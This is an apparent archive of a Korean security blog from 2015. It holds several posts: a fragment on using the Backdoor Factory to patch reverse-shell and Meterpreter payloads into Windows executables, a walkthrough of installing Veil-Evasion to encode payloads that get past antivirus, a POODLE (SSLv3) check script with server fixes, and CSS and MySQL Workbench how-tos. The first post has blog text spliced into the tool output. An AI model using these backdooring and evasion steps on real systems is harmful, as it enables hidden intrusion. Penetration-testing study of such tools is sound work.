 / |  '--. '-'|_.' | /_) (`-')`--.  .--'( _) | |  ||  |_.' |(OO \    /        
 \_)  .--'(|  .-.  | ||  |OO )   |  |    \|  |)|  ||  .   .' |  /   /)        
  `|  |_)  |  | |  |(_'  '--'\   |  |     '  '-'  '|  |\  \  `-/   /`         
   `--'    `--' `--'   `-----'   `--'      `-----' `--' '--'   `--'           

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
        
         Version:   3.1.3

[*] In the backdoor module
[*] BDF라는 툴이 있습니다. 저도 공식 홈페이지 툴 리스트에서 쓸만한 툴이 있나 찾던 중 발견하였고, 이전에 포스팅한 veil 과의 연계성도 고려된 것 같아 테스트 후 사용할까 합니다. Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
   iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded
   reverse_shell_tcp_inline
   reverse_tcp_stager_threaded
   user_supplied_shellcode_threaded

패치 후 파일을 확인해 보면 black.exe 가 정상적으로 패치됨을 알 수 있습니다.

# ls | grep black.exe
black.exe

자세한 사용법은 공식 github에서 Sample Usage 를 통해 확인이 가능합니다.
https://github.com/secretsquirrel/the-backdoor-factory

Reference

https://github.com/secretsquirrel/the-backdoor-factory
Share: | Coffee Me:

10/05/2015

[METASPLOIT] Veil Framework(Payload Generator)를 이용한 Antivirus 우회하기

 Payload Generator 를 찾던 중 재미있는 툴을 발견하였습니다.
바로 Veil이라는 툴인데요, MSF에서 사용하는 Meterpreter Shell에 대해 Antivirus를 우회하기 위해 인코딩할 수 있는 툴입니다.
로고도 양과 늑대의 그림자이네요. (뭔가 양의 탈을 쓴 늑대랄까요)










Veil 은 https://www.veil-framework.com/ 에서 정보를 확인할 수 있습니다.
크게 5개의 툴로 나뉘어집니다.
Veil Framework
 + Veil-Evasion
 + Veil-Ordnance
 + Veil-Catapult
 + Power tool
 + Veil-Pillage

프레임워크는 Github를 통해 배포되며 아래 주소에서 다운로드 받을 수 있습니다.
https://github.com/Veil-Framework/

간단하게 Evasion을 설치해보겠습니다.

# git clone https://github.com/Veil-Framework/Veil-Evasion.git
# cd Veil-Evasion/
# ls

CHANGELOG  README.md        config   setup     tools
COPYRIGHT  Veil-Evasion.py  modules  testbins

아래 명령을 통해 패키지를 설치합니다.
# bash /[Your Install Dir]/Veil-Evasion/setup/setup.sh -s  

(생각보다 설치할게 많아 길군요..)


설치 완료 후 실행하면 메인 화면이 나타납니다.

# python Veil-Evasion.py
=========================================================================
 Veil-Evasion | [Version]: 2.22.1
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================

 Main Menu

    47 payloads loaded

 Available Commands:

    use             Use a specific payload
    info            Information on a specific payload
    list            List available payloads
    update          Update Veil-Evasion to the latest version
    clean           Clean out payload folders
    checkvt         Check payload hashes vs. VirusTotal
    exit            Exit Veil-Evasion




list 명령을 통해 사용 가능한 payload 를 확인하고, use 명령과 해당하는 숫자를 통해 사용이 가능합니다.

# list



# use 45


Options 형태는 기존 Metasploit 에서 제공되는 형태와 유사하며, 세팅 후 generate 명령을 통해 파일을 만들 수 있습니다.

잘 사용하면 유용한 툴로 보입니다. 시간도 늦고해서 슬슬 피곤하네요.
Veil 관련해서 추가로 보여드릴 내용이 있다면 이후에 포스팅 하도록 하겠습니다. 

Guide Video

https://www.veil-framework.com/guidesvideos/


Reference

https://www.christophertruncer.com/veil-a-payload-generator-to-bypass-antivirus/
http://www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf
Share: | Coffee Me:

10/02/2015

[Exploit] SSLv3 POODLE Attack 확인 및 대응방안(Check and Modify)


이전에 SSL3 Version 사용 시 보안적인 이슈가 있었던 POODLE Attack에 관한 이야기입니다.
나온지도 좀 되었고, 이미 브라우저 개발사 및 서버 측에서 SSLv3 를 사용하지 않는 식으로 하여서 영향력은 많이 떨어졌지만 그래도 간단하게 정리해놓는게 좋을 것 같아 작성합니다.


[CVE-2014-3566] SSLv3 POODLE Attack 이란?

POODLE이라 하면 강아지 종류가 생각날 수도 있지만 POODLE Attack 에서 의미하는 POODLE은 좀 다른 의미의 약자입니다.
Padding Oracle On Downgraded Legacy Encryption 의 약자이며 Padding Oracle 취약점을 통해 SSL이 적용된 암호문을 해독할 수 있는 MITM(중간자공격) 입니다. Padding Oracle side-channel 공격을 통해 풀어나가죠.

영향력은 높지않아 예전에도 말이 좀 많았었습니다. CVSS2로 취약성 평가 시 점수가 높진 않네요.
AV(접근성):N
AC(복잡도):L
Au(인증):N
C(기밀성):P
I(무결성):N
A(가용성):N

Base Score: 5

테스트 방법은 이미 Poc 코드 및 Exploit 코드들이 있어 쉽게 검증이 가능합니다.
크게 Metasploit 을 통한 검증, Script 를 통한 검증정도가 있을 것 같네요.

A2SV를 이용한 확인

첨에 이 글을 작성하였을때가 작년 10월쯤인데, 그땐 현재 사용하고 있는 A2SV를 개발하기 전이여서 이 내용이 없었습니다. 추가하여 수정했으니 애용해주세요 ^^

#> git clone https://github.com/hahwul/a2sv
#> cd a2sv
#> python a2sv.py -t [TARGET]


Metasploit 을 통한 확인

MSF Console 에서 SSL-Version 에 대해 검색하시면 쉽게 찾을 수 있습니다.
SSL 버전을 확인할 수 있는 모듈은 aux/scan 하단의 http/ssl_version 입니다.

hahwul auxiliary(ssl_version) #> use auxiliary/scanner/http/ssl_version
hahwul auxiliary(ssl_version) #> hosts -R
hahwul auxiliary(ssl_version) #> run

[+] **.**.**.**:443 accepts SSLv3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Poc Script 를 통한 확인

웹상에서 코드를 찾아보시면 많이 나옵니다. 그 중 bash 쉘로 짜여진 간단한 코드입니다.
# ./ssl3-check.sh [TESTIP]
Testing [TESTIP]:443 for support of SSL3.0 ...
NO SSL 3.0 support detected on [TESTIP]:443 (sslv3 alert handshake failure)

# cat ssl3-check.sh
#!/bin/bash
#####################################################################################
#
# ssl3_cipher_check.sh - Determine which SSL 3.0 ciphers, if any, are supported by
#                        a targeted server.
#
# Author  - Lamar Spells (lamar.spells@gmail.com)
# Blog    - http://foxtrot7security.blogspot.com
# Twitter - lspells
#
# Copyright (c) 2014, Lamar Spells
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#   - Redistributions of source code must retain the above copyright notice, this
#     list of conditions and the following disclaimer.
#   - Redistributions in binary form must reproduce the above copyright notice,
#     this list of conditions and the following disclaimer in the documentation
#     and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
# OF THE POSSIBILITY OF SUCH DAMAGE.
#
#####################################################################################

if [ $# -lt 1 ] ; then
   echo "USAGE: `basename $0` <ip> [port]"
   exit 1
fi

if [ $# -eq 1 ] ; then
  SERVER=${1}:443
else
  SERVER=${1}:${2}
fi
DELAY=1

echo "Testing $SERVER for support of SSL3.0 ..."

result=`echo -n | openssl s_client -connect $SERVER -ssl3 2>&1`
if [[ "$result" =~ "New, TLSv1/SSLv3, Cipher is" ]] ; then
  echo "YES - SSL 3.0 support detected on $SERVER"
  exit 1
else
  if [[ "$result" =~ ":error:" ]] ; then
    error=`echo -n $result | cut -d':' -f6`
    echo NO SSL 3.0 support detected on $SERVER \($error\)
    exit 0
  else
    echo "ERROR:  UNKNOWN RESPONSE: $result"
    exit 255
  fi
fi

Server SSL 설정 변경을 통한 조치(Modify Server SSL Conf)

물론 SSLv3 에서 발생한 문제이니 간단하게 SSLv3 를 사용하지 않는 것으로 조치가 가능합니다.

Apache
Apache SSL 설정 파일에 적용 후 서비스 재시작(Service Restart)
# vim /etc/apache2/mods-available/ssl.conf

SSLProtocol ALL -SSLv2 -SSLv3

Nginx
nginx 설정 파일에 아래 내용을 추가한 후 서비스 재시작(Service Restart)
ssl_protocols TLSv1 TLSv1.1 TLSv1.2

IIS
regedit(레지스트리편집)을 통해 아래 레지스트리 키 편집
HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols registry key
-> 하위 키에서 SSL 3.0에 대해 "00 00 00 00"으로 설정
(support.microsoft.com 참조 / https://support.microsoft.com/ko-kr/kb/187498)


-----------------------------------------------
수정 후 테스트하면 SSLv3 가 Disable 된 것을 확인할 수 있습니다.

SSLProtocol ALL -SSLv2 -SSLv3
hahwul auxiliary(ssl_version) #> run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Share: | Coffee Me:

10/01/2015

[CODING] CSS를 이용한 h1, h2 태그 밑줄 적용하기(Editing for h1,h2)

각각 태그별로 디자인을 style 태그나 css를 통해 쉽게 꾸밀 수 있습니다.
CSS에러 아래와 같이 .post 하단에 적용된 인스턴스에 대해서 밑줄처리가 가능합니다.
(이외에도 여러 액션이 가능함)

.post h2{
text-decoration : underline;
}

or

.post h2{
border-bottom:thick double #666666;
}

위 두개 중 차이점이 있다면 text-decoration을 통한 밑줄은 일반적으로 Ctrl+U를 통해 사용하는 글씨 밑줄이고
border-bottom을 이용한 밑줄은 그 태그 구영 내 하단 테두리를 밑줄로 사용하게 됩니다. 차이가 있다면 줄바뀜에도
아래 border-bottom은 한줄만 그이게됩니다.

예시

text-decoration

border-bottom

Share: | Coffee Me:

[DEBIAN] Linux DB EERD 모델링(Modeling and Design) Tool(mysql-workbench on linux)

쉽고 편리하게 DB 구조에 대해 구성하고, SQL 구문으로 생성하는 모델링 툴에 대해 사용해보신적이 있나요?
저 또한 학생 때 ERD를 활용하기 위해 ER-WIN을 사용한게 마지막이였었네요..

DB 모델링. 디자인 툴 중 .. 아니 MySQL를 활용하기 굉장한 유용한 툴인 WorkBench에서도 모델링, 디자인이 가능합니다.
이번 포스팅에서는 리눅스 환경(ubuntu)에서 workbench를 설치하고, 모델링을 하는 법에 대해 이야기할까 합니다.

일단 Debian 환경에서 별도로 테스트한적이 없기 때문에 먼저 Ubuntu 위주로 작성하고, 추후에 데비안 환경에 대한 내용도 추가하도록 하겠습니다.

먼저 ubuntu에서는 패키지 repo에 기본적으로 workbench를 포함하고 있습니다. update 후 search를 통해 찾아보시면 해당 패키지가 있는지 없는지 확인이 가능합니다.

# apt-get update;
# apt-cache search mysql-workbench
mysql-workbench - MySQL Workbench - a visual database modeling, administration and queuing tool
mysql-workbench-data - MySQL Workbench -- architecture independent data

패키지가 확인되었다면 install 을 통해 간단하게 설치를 진행합니다. 별도의 의존성 문제는 발생하지 않았습니다.

# apt-get install mysql-workbench

설치 후 프로그램 리스트를 확인하면 workbench가 설치되어 있는 것을 확인할 수 있습니다.

메인페이지에서 models에 들어간 후 메뉴리스트를 보면 EERD 모델링 관련 부분이 있습니다.


add EER Diagrams 를 누르시면 EERD 를 그릴 수 있는 부분으로 넘어갑니다.

간단하게 구성이 가능합니다 :)



데비안, Mac, Windows 등 타 OS에서도 Workbench를 설치한 후 부터는 동일하며, 데비안에서 패키지는 지원하지 않을 시 해당 내용 추가하도록 하겠습니다.
Share: | Coffee Me: